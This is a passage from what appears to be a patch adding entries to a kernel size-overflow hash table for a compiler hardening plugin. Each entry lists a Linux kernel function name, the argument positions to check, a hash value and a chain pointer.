3021 _000819_hash NULL ++_000820_hash dev_irnet_write 3 11398 _000820_hash NULL ++_000821_hash dev_set_alias 3 50084 _000821_hash NULL ++_000822_hash dev_write 3 7708 _000822_hash NULL ++_000823_hash dfs_global_file_write 3 6112 _000823_hash NULL ++_000824_hash dgram_sendmsg 4 45679 _000824_hash NULL ++_000825_hash disconnect 4 32521 _000825_hash NULL ++_000826_hash dma_attach 6-7 50831 _000826_hash NULL ++_000828_hash dma_declare_coherent_memory 4-2 14244 _000828_hash NULL ++_000829_hash dn_sendmsg 4 38390 _000829_hash NULL ++_000830_hash dn_setsockopt 5 314 _000830_hash NULL ++_000831_hash do_arpt_set_ctl 4 51053 _000831_hash NULL ++_000832_hash do_dccp_setsockopt 5 54377 _003195_hash NULL nohasharray ++_000833_hash do_ip6t_set_ctl 4 60040 _000833_hash NULL ++_000834_hash do_ipt_set_ctl 4 56238 _000834_hash NULL ++_000835_hash do_jffs2_setxattr 5 25910 _000835_hash NULL ++_000836_hash do_msgsnd 4 1387 _000836_hash NULL ++_000837_hash do_pselect 1 62061 _000837_hash NULL ++_000838_hash do_raw_setsockopt 5 55215 _000838_hash NULL ++_000839_hash do_readv_writev 4 51849 _000839_hash NULL ++_000840_hash do_sync 1 9604 _000840_hash NULL ++_000841_hash dup_array 3 33551 _000841_hash NULL ++_000842_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000842_hash NULL ++_000843_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000843_hash NULL ++_000844_hash ecryptfs_send_message_locked 2 31801 _000844_hash NULL ++_000845_hash edac_device_alloc_ctl_info 1 5941 _000845_hash NULL ++_000846_hash edac_mc_alloc 4 3611 _000846_hash NULL ++_000847_hash edac_pci_alloc_ctl_info 1 63388 _000847_hash NULL ++_000848_hash efivar_create_sysfs_entry 2 19485 _000848_hash NULL ++_000849_hash enable_write 3 30456 _000849_hash NULL ++_000850_hash enclosure_register 3 57412 _000850_hash NULL ++_000851_hash enlarge_skb 2 44248 _002839_hash NULL nohasharray ++_000852_hash evdev_ioctl_handler 2 21705 _000852_hash NULL ++_000853_hash ext4_kvzalloc 1 47605 _000853_hash NULL ++_000854_hash extend_netdev_table 2 21453 _000854_hash NULL ++_000855_hash fcoe_ctlr_device_add 3 1793 _000855_hash NULL ++_000856_hash fd_do_readv 3 51297 _000856_hash NULL ++_000857_hash fd_do_writev 3 29329 _000857_hash NULL ++_000858_hash __feat_register_sp 6 64712 _000858_hash NULL ++_000859_hash __ffs_ep0_read_events 3 48868 _000859_hash NULL ++_000860_hash ffs_ep0_write 3 9438 _000860_hash NULL ++_000861_hash ffs_epfile_read 3 18775 _000861_hash NULL ++_000862_hash ffs_epfile_write 3 48014 _000862_hash NULL ++_000863_hash fib_info_hash_alloc 1 9075 _000863_hash NULL ++_000864_hash fillonedir 3 41746 _000864_hash NULL ++_000865_hash fs_devrw_entry 3 11924 _000865_hash NULL ++_000866_hash fs_path_prepare_for_add 2 61854 _000866_hash NULL ++_000867_hash fuse_fill_write_pages 4 53682 _000867_hash NULL ++_000868_hash fw_device_op_ioctl 2 11595 _000868_hash NULL ++_000869_hash fw_iso_buffer_init 3 54582 _000869_hash NULL ++_000870_hash fw_node_create 2 9559 _000870_hash NULL ++_000871_hash garmin_read_process 3 27509 _000871_hash NULL ++_000872_hash garp_request_join 4 7471 _000872_hash NULL ++_000873_hash generic_perform_write 3 54832 _000873_hash NULL ++_000874_hash gen_pool_add_virt 4 39913 _000874_hash NULL ++_000875_hash get_derived_key 4 61100 _000875_hash NULL ++_000876_hash get_new_cssid 2 51665 _000876_hash NULL ++_000877_hash getxattr 4 24398 _003758_hash NULL nohasharray ++_000878_hash gsm_control_reply 4 53333 _000878_hash NULL ++_000879_hash hcd_alloc_coherent 5 55862 _000879_hash NULL ++_000880_hash hci_sock_sendmsg 4 37420 _000880_hash NULL ++_000881_hash hidraw_ioctl 2 63658 _000881_hash NULL ++_000882_hash hidraw_write 3 31536 _000882_hash NULL ++_000883_hash hid_register_field 2-3 4874 _000883_hash NULL ++_000885_hash hid_report_raw_event 4 2762 _000885_hash NULL ++_000886_hash hpi_alloc_control_cache 1 35351 _000886_hash NULL ++_000887_hash hugetlbfs_read_actor 2-5-4 34547 _000887_hash NULL ++_000890_hash hvc_alloc 4 12579 _000890_hash NULL ++_000891_hash __hwahc_dev_set_key 5 46328 _000891_hash NULL ++_000892_hash i2400m_zrealloc_2x 3 54166 _001549_hash NULL nohasharray ++_000893_hash ib_alloc_device 1 26483 _000893_hash NULL ++_000894_hash ib_create_send_mad 5 1196 _000894_hash NULL ++_000895_hash ibmasm_new_command 2 25714 _000895_hash NULL ++_000896_hash ib_send_cm_drep 3 50186 _000896_hash NULL ++_000897_hash ib_send_cm_mra 4 60202 _003063_hash NULL nohasharray ++_000898_hash ib_send_cm_rtu 3 63138 _000898_hash NULL ++_000899_hash ide_core_cp_entry 3 22636 _000899_hash NULL ++_000900_hash ieee80211_if_write_smps 3 35550 _000900_hash NULL ++_000901_hash ieee80211_if_write_tkip_mic_test 3 58748 _000901_hash NULL ++_000902_hash ieee80211_if_write_tsf 3 36077 _000902_hash NULL ++_000903_hash ieee80211_if_write_uapsd_max_sp_len 3 14233 _000903_hash NULL ++_000904_hash ieee80211_if_write_uapsd_queues 3 51526 _000904_hash NULL ++_000905_hash ieee80211_key_alloc 3 19065 _000905_hash NULL ++_000906_hash ieee80211_send_probe_req 6-4 6924 _000906_hash NULL ++_000907_hash ieee80211_skb_resize 3 50211 _000907_hash NULL ++_000908_hash if_spi_host_to_card 4 62890 _000908_hash NULL ++_000909_hash if_writecmd 2 815 _000909_hash NULL ++_000910_hash init_bch 1-2 64130 _000910_hash NULL ++_000912_hash init_ipath 1 48187 _000912_hash NULL ++_000913_hash init_list_set 2-3 39188 _000913_hash NULL ++_000915_hash init_q 4 132 _000915_hash NULL ++_000916_hash init_state 2 60165 _000916_hash NULL ++_000917_hash init_tag_map 3 57515 _000917_hash NULL ++_000918_hash input_ff_create 2 21240 _000918_hash NULL ++_000919_hash input_mt_init_slots 2 31183 _000919_hash NULL ++_000920_hash interfaces 2 38859 _000920_hash NULL ++_000921_hash int_hardware_entry 3 36833 _000921_hash NULL ++_000922_hash int_hw_irq_en 3 46776 _000922_hash NULL ++_000923_hash int_tasklet_entry 3 52500 _000923_hash NULL ++_000924_hash ioat2_alloc_ring 2 11172 _000924_hash NULL ++_000925_hash ip_generic_getfrag 3-4 12187 _000925_hash NULL ++_000927_hash ip_options_get_alloc 1 7448 _000927_hash NULL ++_000928_hash ipr_alloc_ucode_buffer 1 40199 _000928_hash NULL ++_000929_hash ip_set_alloc 1 57953 _000929_hash NULL ++_000930_hash ip_setsockopt 5 33487 _000930_hash NULL ++_000931_hash ipv6_flowlabel_opt 3 58135 _001179_hash NULL nohasharray ++_000932_hash ipv6_renew_options 5 28867 _000932_hash NULL ++_000933_hash ipv6_setsockopt 5 29871 _000933_hash NULL ++_000934_hash ipxrtr_route_packet 4 54036 _000934_hash NULL ++_000935_hash irda_sendmsg 4 4388 _000935_hash NULL ++_000936_hash irda_sendmsg_dgram 4 38563 _000936_hash NULL ++_000937_hash irda_sendmsg_ultra 4 42047 _000937_hash NULL ++_000938_hash irias_add_octseq_attrib 4 29983 _000938_hash NULL ++_000939_hash irq_alloc_generic_chip 2 26650 _000939_hash NULL ++_000940_hash iscsi_alloc_session 3 49390 _000940_hash NULL ++_000941_hash iscsi_create_conn 2 50425 _000941_hash NULL ++_000942_hash iscsi_create_endpoint 1 15193 _000942_hash NULL ++_000943_hash iscsi_create_iface 5 38510 _000943_hash NULL ++_000944_hash iscsi_decode_text_input 4 58292 _000944_hash NULL ++_000945_hash iscsi_pool_init 2-4 54913 _000945_hash NULL ++_000947_hash iscsit_dump_data_payload 2 38683 _000947_hash NULL ++_000948_hash isdn_write 3 45863 _000948_hash NULL ++_000949_hash isku_receive 4 54130 _000949_hash NULL ++_000950_hash islpci_mgt_transaction 5 23610 _000950_hash NULL ++_000951_hash iso_alloc_urb 4-5 45206 _000951_hash NULL ++_000952_hash iso_sched_alloc 1 13377 _003325_hash NULL nohasharray ++_000953_hash iwl_trans_txq_alloc 3 36147 _000953_hash NULL ++_000954_hash ixgbe_alloc_q_vector 4-6 24439 _000954_hash NULL ++_000956_hash jbd2_journal_init_revoke 2 51088 _000956_hash NULL ++_000957_hash jffs2_write_dirent 5 37311 _000957_hash NULL ++_000958_hash journal_init_revoke 2 56933 _000958_hash NULL ++_000959_hash keyctl_instantiate_key 3 41855 _000959_hash NULL ++_000960_hash keyctl_instantiate_key_iov 3 16969 _000960_hash NULL ++_000961_hash __kfifo_from_user 3 20399 _000961_hash NULL ++_000962_hash kimage_crash_alloc 3 3233 _000962_hash NULL ++_000963_hash kimage_normal_alloc 3 31140 _000963_hash NULL ++_000964_hash kmem_realloc 2 37489 _000964_hash NULL ++_000965_hash kmem_zalloc 1 11510 _000965_hash NULL ++_000966_hash koneplus_sysfs_read 6 42792 _000966_hash NULL ++_000967_hash kvm_kvzalloc 1 52894 _000967_hash NULL ++_000968_hash kvm_read_guest_page_mmu 6 37611 _000968_hash NULL ++_000969_hash kvm_set_irq_routing 3 48704 _000969_hash NULL ++_000970_hash kvm_write_guest_cached 4 11106 _000970_hash NULL ++_000971_hash kvm_write_guest_page 5 63555 _002812_hash NULL nohasharray ++_000972_hash kzalloc_node 1 24352 _000972_hash NULL ++_000973_hash l2cap_skbuff_fromiovec 3-4 35003 _000973_hash NULL ++_000975_hash l2tp_ip_sendmsg 4 50411 _000975_hash NULL ++_000976_hash l2tp_session_create 1 25286 _000976_hash NULL ++_000977_hash lc_create 3 48662 _000977_hash NULL ++_000978_hash leaf_dealloc 3 29566 _000978_hash NULL ++_000979_hash linear_conf 2 23485 _003837_hash NULL nohasharray ++_000980_hash llc_ui_sendmsg 4 24987 _000980_hash NULL ++_000981_hash load_module 2 60056 _003010_hash NULL nohasharray ++_000982_hash lpfc_sli4_queue_alloc 3 62646 _000982_hash NULL ++_000983_hash mdiobus_alloc_size 1 52259 _000983_hash NULL ++_000984_hash mempool_create_node 1 3191 _000984_hash NULL ++_000985_hash mem_read 3 57631 _000985_hash NULL ++_000986_hash memstick_alloc_host 1 142 _000986_hash NULL ++_000987_hash mem_swapout_entry 3 32586 _000987_hash NULL ++_000988_hash mem_write 3 22232 _000988_hash NULL ++_000989_hash mesh_table_alloc 1 22305 _000989_hash NULL ++_000990_hash mfd_add_devices 4 16668 _000990_hash NULL ++_000991_hash mISDN_sock_sendmsg 4 41035 _000991_hash NULL ++_000992_hash mlx4_init_icm_table 4-5 2151 _000992_hash NULL ++_000994_hash mmc_alloc_host 1 48097 _000994_hash NULL ++_000995_hash mmc_test_alloc_mem 2-3 28102 _000995_hash NULL ++_000997_hash mon_bin_ioctl 3 2771 _000997_hash NULL ++_000998_hash mpi_alloc 1 18094 _000998_hash NULL ++_000999_hash mpihelp_mul_karatsuba_case 5-3 23918 _003061_hash NULL nohasharray ++_001000_hash __mptctl_ioctl 2 15875 _001000_hash NULL ++_001001_hash mtd_concat_create 2 14416 _001001_hash NULL ++_001002_hash mthca_alloc_cq_buf 3 46512 _001002_hash NULL ++_001003_hash mvumi_alloc_mem_resource 3 47750 _001003_hash NULL ++_001004_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _001004_hash NULL ++_001005_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _001005_hash NULL ++_001007_hash mwl8k_cmd_set_beacon 4 23110 _001007_hash NULL ++_001008_hash neigh_hash_alloc 1 17595 _001008_hash NULL ++_001009_hash __netdev_alloc_skb 2 18595 _001009_hash NULL ++_001010_hash __netlink_change_ngroups 2 46156 _001010_hash NULL ++_001011_hash netlink_sendmsg 4 33708 _001236_hash NULL nohasharray ++_001012_hash netxen_alloc_sds_rings 2 13417 _001012_hash NULL ++_001013_hash new_bind_ctl 2 35324 _001013_hash NULL ++_001014_hash new_dir 3 31919 _001014_hash NULL ++_001015_hash new_tape_buffer 2 32866 _001015_hash NULL ++_001016_hash nfc_llcp_build_tlv 3 19536 _001016_hash NULL ++_001017_hash nfc_llcp_send_i_frame 3 59130 _001017_hash NULL ++_001018_hash nf_ct_ext_create 3 51232 _001018_hash NULL ++_001019_hash nfs4_alloc_pages 1 48426 _001019_hash NULL ++_001020_hash nfs4_alloc_slots 1 2454 _003345_hash NULL nohasharray ++_001021_hash nfsctl_transaction_write 3 64800 _001021_hash NULL ++_001022_hash nfs_fscache_get_super_cookie 3 44355 _001850_hash NULL nohasharray ++_001023_hash nfs_idmap_request_key 3 30208 _001023_hash NULL ++_001024_hash nfs_pgarray_set 2 1085 _001024_hash NULL ++_001025_hash nl_pid_hash_zalloc 1 23314 _001025_hash NULL ++_001026_hash nr_sendmsg 4 53656 _001026_hash NULL ++_001027_hash nsm_create_handle 4 38060 _001027_hash NULL ++_001028_hash ntfs_copy_from_user_iovec 3-6 49829 _001028_hash NULL ++_001030_hash ntfs_file_buffered_write 4-6 41442 _001030_hash NULL ++_001032_hash __ntfs_malloc 1 34022 _001032_hash NULL ++_001033_hash nvme_alloc_queue 3 46865 _001033_hash NULL ++_001034_hash nvme_map_user_pages 3-4 41093 _001639_hash NULL nohasharray ++_001036_hash ocfs2_acl_from_xattr 2 21604 _001036_hash NULL ++_001037_hash ocfs2_control_message 3 19564 _001037_hash NULL ++_001038_hash _ore_get_io_state 3-5-4 2166 _001038_hash NULL ++_001041_hash orinoco_set_key 5-7 17878 _001041_hash NULL ++_001043_hash osdmap_set_max_osd 2 57630 _002267_hash NULL nohasharray ++_001044_hash _osd_realloc_seg 3 54352 _001044_hash NULL ++_001045_hash osst_execute 7-6 17607 _001045_hash NULL ++_001046_hash osst_write 3 31581 _001046_hash NULL ++_001047_hash otp_read 2-5-4 10594 _001047_hash NULL ++_001050_hash ovs_vport_alloc 1 33475 _001050_hash NULL ++_001051_hash p54_parse_rssical 3 64493 _001051_hash NULL ++_001052_hash p9_client_zc_rpc 7 14345 _001052_hash NULL ++_001053_hash packet_sendmsg_spkt 4 28885 _001053_hash NULL ++_001054_hash pair_device 4 61175 _003161_hash NULL nohasharray ++_001055_hash pccard_store_cis 6 18176 _001055_hash NULL ++_001056_hash pci_add_cap_save_buffer 3 3426 _001056_hash NULL ++_001057_hash pcnet32_realloc_rx_ring 3 36598 _001057_hash NULL ++_001058_hash pcnet32_realloc_tx_ring 3 38428 _001058_hash NULL ++_001059_hash pcpu_mem_zalloc 1 22948 _001059_hash NULL ++_001060_hash pep_sendmsg 4 62524 _001060_hash NULL ++_001061_hash pfkey_sendmsg 4 47394 _001061_hash NULL ++_001062_hash pidlist_resize 2 496 _001062_hash NULL ++_001063_hash pin_code_reply 4 46510 _001063_hash NULL ++_001064_hash ping_getfrag 3-4 8360 _001064_hash NULL ++_001066_hash pipe_set_size 2 5204 _001066_hash NULL ++_001067_hash pkt_bio_alloc 1 48284 _001067_hash NULL ++_001068_hash platform_create_bundle 4-6 12785 _001068_hash NULL ++_001070_hash pm8001_store_update_fw 4 55716 _001070_hash NULL ++_001071_hash pmcraid_alloc_sglist 1 9864 _001071_hash NULL ++_001072_hash pn533_dep_link_up 5 22154 _001072_hash NULL ++_001073_hash pn533_init_target_frame 3 65438 _001073_hash NULL ++_001074_hash pnp_alloc 1 24869 _001538_hash NULL nohasharray ++_001075_hash pn_sendmsg 4 12640 _001075_hash NULL ++_001076_hash pppoe_sendmsg 4 48039 _001076_hash NULL ++_001077_hash pppol2tp_sendmsg 4 56420 _001077_hash NULL ++_001078_hash prism2_info_hostscanresults 3 39657 _001078_hash NULL ++_001079_hash process_vm_rw 3-5 47533 _001079_hash NULL ++_001081_hash process_vm_rw_single_vec 1-2 26213 _001081_hash NULL ++_001083_hash proc_write 3 51003 _001083_hash NULL ++_001084_hash profile_load 3 58267 _001084_hash NULL ++_001085_hash profile_remove 3 8556 _001085_hash NULL ++_001086_hash profile_replace 3 14652 _001086_hash NULL ++_001087_hash pscsi_get_bio 1 56103 _001087_hash NULL ++_001088_hash __pskb_copy 2 9038 _001088_hash NULL ++_001089_hash __pskb_pull_tail 2 60287 _001089_hash NULL ++_001090_hash qla4xxx_alloc_work 2 44813 _001090_hash NULL ++_001091_hash qlcnic_alloc_msix_entries 2 46160 _001091_hash NULL ++_001092_hash qlcnic_alloc_sds_rings 2 26795 _001092_hash NULL ++_001093_hash queue_received_packet 5 9657 _001093_hash NULL ++_001094_hash raw_send_hdrinc 4 58803 _001094_hash NULL ++_001095_hash raw_sendmsg 4 23078 _003316_hash NULL nohasharray ++_001096_hash rawsock_sendmsg 4 60010 _001096_hash NULL ++_001097_hash rawv6_send_hdrinc 3 35425 _001097_hash NULL ++_001098_hash rawv6_setsockopt 5 56165 _001098_hash NULL ++_001099_hash rb_alloc 1 3102 _001099_hash NULL ++_001100_hash rbd_alloc_coll 1 33678 _001100_hash NULL ++_001101_hash rbd_create_rw_ops 1 55297 _001101_hash NULL ++_001102_hash rds_ib_inc_copy_to_user 3 55007 _001102_hash NULL ++_001103_hash rds_iw_inc_copy_to_user 3 29214 _001103_hash NULL ++_001104_hash rds_message_alloc 1 10517 _001104_hash NULL ++_001105_hash rds_message_copy_from_user 3 45510 _001105_hash NULL ++_001106_hash rds_message_inc_copy_to_user 3 26540 _001106_hash NULL ++_001107_hash regcache_rbtree_insert_to_block 5 58009 _001107_hash NULL ++_001108_hash _regmap_raw_write 4 42652 _001108_hash NULL ++_001109_hash regmap_register_patch 3 21681 _001109_hash NULL ++_001110_hash relay_alloc_page_array 1 52735 _001110_hash NULL ++_001111_hash remove_uuid 4 64505 _001111_hash NULL ++_001112_hash reshape_ring 2 29147 _001112_hash NULL ++_001113_hash RESIZE_IF_NEEDED 2 56286 _001113_hash NULL ++_001114_hash resize_info_buffer 2 62889 _001114_hash NULL ++_001115_hash resize_stripes 2 61650 _001115_hash NULL ++_001116_hash rfcomm_sock_sendmsg 4 37661 _003661_hash NULL nohasharray ++_001117_hash roccat_common2_send_with_status 4 50343 _001117_hash NULL ++_001118_hash rose_sendmsg 4 20249 _001118_hash NULL ++_001119_hash rsc_mgr_init 3 16299 _001119_hash NULL ++_001120_hash rxrpc_send_data 5 21553 _001120_hash NULL ++_001121_hash rxrpc_setsockopt 5 50286 _001121_hash NULL ++_001122_hash savu_sysfs_read 6 49473 _001122_hash NULL ++_001124_hash sco_send_frame 3 41815 _001124_hash NULL ++_001125_hash scsi_dispatch_cmd_entry 3 49848 _001125_hash NULL ++_001126_hash scsi_host_alloc 2 63041 _001126_hash NULL ++_001127_hash scsi_tgt_kspace_exec 8 9522 _001127_hash NULL ++_001128_hash sctp_sendmsg 4 61919 _001128_hash NULL ++_001129_hash sctp_setsockopt 5 44788 _001129_hash NULL ++_001130_hash sctp_setsockopt_connectx 3 6073 _001130_hash NULL ++_001131_hash sctp_setsockopt_connectx_old 3 22631 _001131_hash NULL ++_001132_hash sctp_tsnmap_grow 2 32784 _001132_hash NULL ++_001133_hash sctp_tsnmap_init 2 36446 _001133_hash NULL ++_001134_hash sctp_user_addto_chunk 2-3 62047 _001134_hash NULL ++_001136_hash security_context_to_sid 2 19839 _001136_hash NULL ++_001137_hash security_context_to_sid_default 2 3492 _003841_hash NULL nohasharray ++_001138_hash security_context_to_sid_force 2 20724 _001138_hash NULL ++_001139_hash self_check_write 5 50856 _001139_hash NULL ++_001140_hash selinux_transaction_write 3 59038 _001140_hash NULL ++_001141_hash sel_write_access 3 51704 _001141_hash NULL ++_001142_hash sel_write_create 3 11353 _001142_hash NULL ++_001143_hash sel_write_member 3 28800 _001143_hash NULL ++_001144_hash sel_write_relabel 3 55195 _001144_hash NULL ++_001145_hash sel_write_user 3 45060 _001145_hash NULL ++_001146_hash __seq_open_private 3 40715 _001146_hash NULL ++_001147_hash serverworks_create_gatt_pages 1 46582 _001147_hash NULL ++_001148_hash set_connectable 4 56458 _001148_hash NULL ++_001149_hash set_dev_class 4 39645 _001921_hash NULL nohasharray ++_001150_hash set_discoverable 4 48141 _001150_hash NULL ++_001151_hash set_fd_set 1 35249 _001151_hash NULL ++_001152_hash setkey 3 14987 _001152_hash NULL ++_001153_hash set_le 4 30581 _001153_hash NULL ++_001154_hash set_link_security 4 4502 _001154_hash NULL ++_001155_hash set_local_name 4 55757 _001155_hash NULL ++_001156_hash set_powered 4 12129 _001156_hash NULL ++_001157_hash set_ssp 4 62411 _001157_hash NULL ++_001158_hash sg_build_sgat 3 60179 _001158_hash &_000314_hash ++_001159_hash sg_read_oxfer 3 51724 _001159_hash NULL ++_001160_hash shmem_xattr_set 4 11843 _001160_hash NULL ++_001161_hash simple_alloc_urb 3 60420 _001161_hash NULL ++_001162_hash sisusb_send_bridge_packet 2 11649 _001162_hash NULL ++_001163_hash sisusb_send_packet 2 20891 _001163_hash NULL ++_001164_hash sisusb_write_mem_bulk 4 29678 _001164_hash NULL ++_001165_hash skb_add_data_nocache 4 4682 _001165_hash NULL ++_001166_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001166_hash NULL ++_001169_hash skb_copy_expand 2-3 7685 _001169_hash &_000677_hash ++_001171_hash skb_copy_to_page_nocache 6 58624 _001171_hash NULL ++_001172_hash __skb_cow 2 39254 _001172_hash NULL ++_001173_hash skb_cow_data 2 11565 _001173_hash NULL ++_001174_hash skb_pad 2 17302 _001174_hash NULL ++_001175_hash skb_realloc_headroom 2 19516 _001175_hash NULL ++_001176_hash sk_chk_filter 2 42095 _001176_hash NULL ++_001177_hash skcipher_sendmsg 4 30290 _001177_hash NULL ++_001178_hash sl_change_mtu 2 7396 _001178_hash NULL ++_001179_hash slhc_init 1-2 58135 _001179_hash &_000931_hash ++_001181_hash sm501_create_subdev 3-4 48668 _001245_hash NULL nohasharray ++_001183_hash smk_user_access 3 24440 _001183_hash NULL ++_001184_hash smk_write_cipso2 3 1021 _001184_hash NULL ++_001185_hash smk_write_cipso 3 17989 _001185_hash NULL ++_001186_hash smk_write_load2 3 52155 _001186_hash NULL ++_001187_hash smk_write_load 3 26829 _001187_hash NULL ++_001188_hash smk_write_load_self2 3 591 _001188_hash NULL ++_001189_hash smk_write_load_self 3 7958 _001189_hash NULL ++_001190_hash snapshot_write 3 28351 _001190_hash NULL ++_001191_hash snd_ac97_pcm_assign 2 30218 _001191_hash NULL ++_001192_hash snd_card_create 4 64418 _001529_hash NULL nohasharray ++_001193_hash snd_emux_create_port 3 42533 _001193_hash NULL ++_001194_hash snd_gus_dram_write 4 38784 _001194_hash NULL ++_001195_hash snd_midi_channel_alloc_set 1 28153 _001195_hash NULL ++_001196_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001196_hash NULL ++_001197_hash snd_pcm_oss_sync1 2 45298 _001197_hash NULL ++_001198_hash snd_pcm_oss_write 3 38108 _001198_hash NULL ++_001199_hash snd_pcm_plugin_build 5 25505 _001199_hash NULL ++_001200_hash snd_rawmidi_kernel_write 3 25106 _001200_hash NULL ++_001201_hash snd_rawmidi_write 3 28008 _001201_hash NULL ++_001202_hash snd_rme32_playback_copy 5 43732 _001202_hash NULL ++_001203_hash snd_rme96_playback_copy 5 13111 _001203_hash NULL ++_001204_hash snd_seq_device_new 4 31753 _001204_hash NULL ++_001205_hash snd_seq_oss_readq_new 2 14283 _001205_hash NULL ++_001206_hash snd_vx_create 4 40948 _001206_hash NULL ++_001207_hash sock_setsockopt 5 50088 _001207_hash NULL ++_001208_hash sound_write 3 5102 _001208_hash NULL ++_001209_hash _sp2d_alloc 1-3-2 16944 _001209_hash NULL ++_001212_hash spi_alloc_master 2 45223 _001212_hash NULL ++_001213_hash spidev_message 3 5518 _001213_hash NULL ++_001214_hash spi_register_board_info 2 35651 _001214_hash NULL ++_001215_hash squashfs_cache_init 2 41656 _001215_hash NULL ++_001216_hash squashfs_read_data 6 59440 _001216_hash NULL ++_001217_hash squashfs_read_fragment_index_table 4 2506 _001217_hash NULL ++_001218_hash squashfs_read_id_index_table 4 61961 _001218_hash NULL ++_001219_hash squashfs_read_inode_lookup_table 4 64739 _001219_hash NULL ++_001220_hash srp_alloc_iu 2 44227 _001220_hash NULL ++_001221_hash srp_iu_pool_alloc 2 17920 _001221_hash NULL ++_001222_hash srp_ring_alloc 2 26760 _001222_hash NULL ++_001226_hash start_isoc_chain 2 565 _001226_hash NULL ++_001227_hash st_write 3 16874 _001227_hash NULL ++_001228_hash svc_pool_map_alloc_arrays 2 47181 _001228_hash NULL ++_001229_hash symtab_init 2 61050 _001229_hash NULL ++_001230_hash sys_bind 3 10799 _001230_hash NULL ++_001231_hash sys_connect 3 15291 _003816_hash NULL nohasharray ++_001232_hash sys_flistxattr 3 41407 _001232_hash NULL ++_001233_hash sys_fsetxattr 4 49736 _001233_hash NULL ++_001234_hash sysfs_write_file 3 57116 _001234_hash NULL ++_001235_hash sys_ipc 3 4889 _001235_hash NULL ++_001236_hash sys_keyctl 4 33708 _001236_hash &_001011_hash ++_001237_hash sys_listxattr 3 27833 _001237_hash NULL ++_001238_hash sys_llistxattr 3 4532 _001238_hash NULL ++_001239_hash sys_lsetxattr 4 61177 _001239_hash NULL ++_001240_hash sys_mq_timedsend 3 57661 _001240_hash NULL ++_001241_hash sys_sched_setaffinity 2 32046 _001241_hash NULL ++_001242_hash sys_select 1 38827 _001242_hash NULL ++_001243_hash sys_semop 3 39457 _001243_hash NULL ++_001244_hash sys_sendto 6 20809 _001244_hash NULL ++_001245_hash sys_setgroups 1 48668 _001245_hash &_001181_hash ++_001246_hash sys_setgroups16 1 48882 _001246_hash NULL ++_001247_hash sys_setxattr 4 37880 _001247_hash NULL ++_001248_hash t4_alloc_mem 1 32342 _001248_hash NULL ++_001249_hash tcf_hash_create 4 54360 _001249_hash NULL ++_001250_hash tcp_send_rcvq 3 11316 _001250_hash NULL ++_001251_hash __team_options_register 3 63941 _001251_hash NULL ++_001252_hash test_unaligned_bulk 3 52333 _001252_hash NULL ++_001253_hash tifm_alloc_adapter 1 10903 _001253_hash NULL ++_001254_hash timeout_write 3 50991 _001254_hash NULL ++_001255_hash timeradd_entry 3 49850 _001255_hash NULL ++_001256_hash tipc_link_send_sections_fast 4 37920 _001256_hash NULL ++_001257_hash tipc_subseq_alloc 1 5957 _001257_hash NULL ++_001258_hash tnode_alloc 1 49407 _001258_hash NULL ++_001259_hash tomoyo_commit_ok 2 20167 _001259_hash NULL ++_001260_hash tomoyo_scan_bprm 2-4 15642 _003488_hash NULL nohasharray ++_001262_hash tps6586x_writes 3 58689 _001262_hash NULL ++_001263_hash tty_buffer_find 2 2443 _001263_hash NULL ++_001264_hash tty_write 3 5494 _001264_hash NULL ++_001265_hash ubifs_setxattr 4 59650 _001477_hash NULL nohasharray ++_001266_hash ubi_self_check_all_ff 4 41959 _001266_hash NULL ++_001267_hash udf_sb_alloc_partition_maps 2 62313 _001267_hash NULL ++_001268_hash udplite_getfrag 3-4 14479 _001268_hash NULL ++_001270_hash ulong_write_file 3 26485 _001270_hash NULL ++_001271_hash unix_stream_sendmsg 4 61455 _001271_hash NULL ++_001272_hash unlink_queued 3-4 645 _001272_hash NULL ++_001273_hash update_pmkid 4 2481 _001273_hash NULL ++_001274_hash usb_alloc_coherent 2 65444 _001274_hash NULL ++_001275_hash vc_resize 2-3 3585 _001275_hash NULL ++_001277_hash vhci_write 3 2224 _001277_hash NULL ++_001278_hash __vhost_add_used_n 3 26554 _001278_hash NULL ++_001279_hash virtqueue_add_buf 3-4 59470 _001279_hash NULL ++_001281_hash vmalloc 1 15464 _001281_hash NULL ++_001282_hash vol_cdev_write 3 40915 _001282_hash NULL ++_001283_hash vxge_device_register 4 7752 _001283_hash NULL ++_001284_hash __vxge_hw_blockpool_malloc 2 5786 _001284_hash NULL ++_001285_hash __vxge_hw_channel_allocate 3 55462 _001285_hash NULL ++_001286_hash vzalloc 1 47421 _001286_hash NULL ++_001287_hash vzalloc_node 1 23424 _001287_hash NULL ++_001288_hash wa_nep_queue 2 8858 _001288_hash NULL ++_001289_hash __wa_xfer_setup_segs 2 56725 _001289_hash NULL ++_001290_hash wiphy_new 2 2482 _001290_hash NULL ++_001291_hash wm8350_block_write 3 19727 _001291_hash NULL ++_001292_hash wpan_phy_alloc 1 48056 _001292_hash NULL ++_001293_hash write_flush_pipefs 3 2021 _001293_hash NULL ++_001294_hash write_flush_procfs 3 44011 _001294_hash NULL ++_001295_hash wusb_ccm_mac 7 32199 _001295_hash NULL ++_001296_hash x25_sendmsg 4 12487 _001296_hash NULL ++_001297_hash xfrm_hash_alloc 1 10997 _001297_hash NULL ++_001298_hash _xfs_buf_get_pages 2 46811 _001298_hash NULL ++_001299_hash xfs_da_grow_inode_int 3 21785 _001299_hash NULL ++_001300_hash xfs_dir_cilookup_result 3 64288 _003160_hash NULL nohasharray ++_001301_hash xfs_idata_realloc 2 26199 _001301_hash NULL ++_001302_hash xfs_iext_add_indirect_multi 3 32400 _001302_hash NULL ++_001303_hash xfs_iext_inline_to_direct 2 12384 _001303_hash NULL ++_001304_hash xfs_iformat_local 4 49472 _001304_hash NULL ++_001305_hash xfs_iroot_realloc 2 46826 _001305_hash NULL ++_001306_hash xhci_alloc_stream_info 3 63902 _001306_hash NULL ++_001307_hash xlog_recover_add_to_trans 4 62839 _001307_hash NULL ++_001308_hash xprt_alloc 2 1475 _001308_hash NULL ++_001309_hash xt_alloc_table_info 1 57903 _001309_hash NULL ++_001310_hash _zd_iowrite32v_async_locked 3 39034 _001310_hash NULL ++_001311_hash zd_usb_iowrite16v 3 49744 _001311_hash NULL ++_001312_hash a2mp_send 4 41615 _001312_hash NULL ++_001313_hash acpi_ds_build_internal_package_obj 3 58271 _001313_hash NULL ++_001314_hash acpi_system_read_event 3 55362 _001314_hash NULL ++_001315_hash 